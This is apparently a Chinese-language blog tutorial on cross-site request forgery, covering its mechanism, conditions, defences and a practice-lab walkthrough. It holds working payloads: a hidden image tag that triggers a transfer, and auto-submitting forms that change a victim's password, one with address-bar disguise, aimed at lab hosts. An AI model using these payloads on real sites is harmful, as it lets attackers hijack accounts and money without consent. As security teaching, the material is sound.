csrf是什么,原理,应用
想象这样一个场景:
你登录了某银行的网上银行,页面显示"登录成功"。这时候你收到朋友发来的一条消息:"快看这个视频,太搞笑了!"你顺手点开了链接。
这个链接跳转到一个看起来正常的网页,但你没注意到的是——这个网页在后台偷偷向银行服务器发了一个转账请求,把你的钱转到了攻击者账户。
更可怕的是:你从头到尾没有输入任何密码,银行服务器也确认了这个请求,因为它看到了你浏览器里保存的登录 Cookie,以为是"你本人"在操作。
这就是 CSRF(Cross-Site Request Forgery,跨站请求伪造),江湖人称 "借刀杀人"。
攻击者没有偷你的密码,没有黑进银行服务器,只是诱导你在已登录的状态下,访问了一个恶意页面,然后利用你浏览器里自动携带的 Cookie,以你的名义完成了非法操作。
| 对比项 | XSS | CSRF |
|---|---|---|
| 核心思想 | 偷你的 Cookie,冒充你登录 | 借你的 Cookie,替你发请求 |
| 攻击者是否拿到权限 | 拿到 Cookie,直接登录你的账号 | 拿不到 Cookie,只是"借用"你的浏览器自动携带的 Cookie |
| 攻击代码位置 | 插入到目标网站页面里执行 | 放在攻击者自己的恶意网站上 |
| 是否需要用户交互 | 用户浏览带恶意脚本的页面即可 | 用户需要已登录目标站,并访问恶意页面 |

CSRF 能够成功,必须同时满足以下几个条件 :
条件 1:用户已登录目标网站 A,浏览器保存了有效的 Cookie
条件 2:用户在没有退出登录的情况下,访问了攻击者的恶意网站 B
条件 3:目标网站 A 对敏感操作(转账、改密码等)没有额外的身份校验
条件 4:攻击者事先知道了目标网站敏感请求的参数格式
① 你登录银行网站 A → 浏览器保存 Cookie ↓ ② 你没退出,新开标签访问了恶意网站 B ↓ ③ 恶意网站 B 的页面里藏了一个自动提交的表单/图片链接 ↓ ④ 浏览器自动带上你的 Cookie,向银行 A 发送请求 ↓ ⑤ 银行 A 看到 Cookie 有效,执行了转账操作 ↓ ⑥ 你:???我钱怎么没了
CSRF 攻击根据请求方式,主要分为两种:
很多网站的敏感操作直接用 GET 请求完成,比如:
http://www.bank.com/transfer?to=hack&money=10000
攻击者只需要把这个链接伪装一下,诱导你点击:
html<!-- 攻击者页面里放一张"图片" -->
<img src="http://www.bank.com/transfer?to=hack&money=10000" width="0" height="0">
你打开这个页面,浏览器会自动请求这个"图片"地址,带着你的 Cookie,转账就完成了。
特点: 构造简单,一个链接就能攻击,常见于早期网站或接口设计不规范的系统。
现代网站一般用 POST 请求做敏感操作,攻击者需要构造一个自动提交的表单 :
html<html>
<body>
<!-- 用户看不到这个表单 -->
<form action="http://目标网站.com/change_password" method="POST" id="csrf-form">
<input type="hidden" name="new_password" value="hack123" />
</form>
<script>
// 页面一加载就自动提交
document.getElementById('csrf-form').submit();
</script>
<!-- 表面上给用户看正常内容 -->
<h1>正在加载视频...</h1>
</body>
</html>
你访问这个页面,表单自动提交,你的密码就被改成了 hack123。
特点: 更隐蔽,可以伪造复杂的 POST 数据,攻击者通常配合社工(钓鱼邮件、假链接)使用。
根据实际案例,CSRF 的危害包括但不限于 :
了解防御方法,有助于你在渗透测试时判断目标是否"有戏":
服务器给每个用户生成一个随机、不可预测的 Token,嵌入到表单里:
html<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="aBcD1234xYz...">
<!-- 其他表单字段 -->
</form>
提交时,服务器验证这个 Token 是否和 Session 里存的一致。攻击者无法预知这个 Token,也就无法构造合法请求 。
服务器检查请求的 Referer 字段,看是不是从自己网站的页面发出来的。
缺点: Referer 可能被浏览器插件删除,或者被攻击者绕过,安全性不如 Token。
浏览器新增的属性,设置 Cookie 的 SameSite 属性:
Strict:完全禁止第三方网站携带 CookieLax:部分允许(如 GET 请求),但 POST 请求不允许,只有导航到第三方网站的 Get 链接会发送 Cookie。而跨域的图片iframe、「fetch请求,form表单都不会发送 Cookie」None:不限制(不安全)这是浏览器层面的防御,现代浏览器已默认支持 。
对于敏感操作(转账、改密码),要求用户再次输入密码或验证码。
原理: CSRF 攻击是"无感"的,如果强制用户交互,攻击就失效了。
构造让管理员点击链接http://hbc2.haobachang.com:14361/transfer.php?to_user=user&amount=10000

使用yakit构造自动提交poc

html<html>
<body>
<!-- 表单:用于向目标接口发送修改密码的POST请求 -->
<form action="http://hbc2.haobachang.com:22386/change_password"
method="POST"
name="form1"
enctype="application/x-www-form-urlencoded">
<!-- 隐藏字段:新密码的值,将把管理员密码改为 147258 -->
<input type="hidden" name="new_password" value="147258"/>
<!-- 提交按钮(可见但实际无机会点击,因脚本自动提交) -->
<input type="submit" value="Submit request" />
</form>
<!-- 脚本1:地址栏伪装,将当前 URL 改为根目录,隐藏 poc.html 页面路径 -->
<script>
history.pushState('', '', '/');
</script>
<!-- 脚本2:通过原型链调用原生 submit 方法,自动提交表单,绕过可能的 submit 重写防护 -->
<script>
(function(){
// 获取表单元素
var f = document.forms['form1'];
// 如果表单存在,调用 HTMLFormElement 原型上的原始 submit 方法
if(f) HTMLFormElement.prototype.submit.call(f);
})();
</script>
</body>
</html>
但是有点问题, 使用绝对路径不成功,所以需要改为相对路径
提示
相对路径(同源) /change_password
如果攻击页面与目标接口同源(协议、域名、端口完全相同),浏览器认为这是同站请求。 即使是 SameSite=Lax 的 Cookie,也会被自动携带。 服务器收到带有受害者登录凭证的请求 → 密码被修改成功。
绝对路径(跨域) http://hbc2.haobachang.com:22386/change_password
如果攻击页面来自不同源(如本地 file:// 或其他域),这个请求属于跨站请求。 SameSite=Lax 策略下,浏览器主动禁止携带该域下的 Cookie。 服务器收到一个没有登录态的请求 → 视为未登录 → 拒绝修改密码,可能会攻击失败。
token 字段CSRF 就是攻击者利用你浏览器"自动带 Cookie"的贴心设计,在你不知情的情况下,以你的名义给目标网站发请求。
它不需要偷你的密码,只需要你"点了一个链接" + "刚好没退出登录"。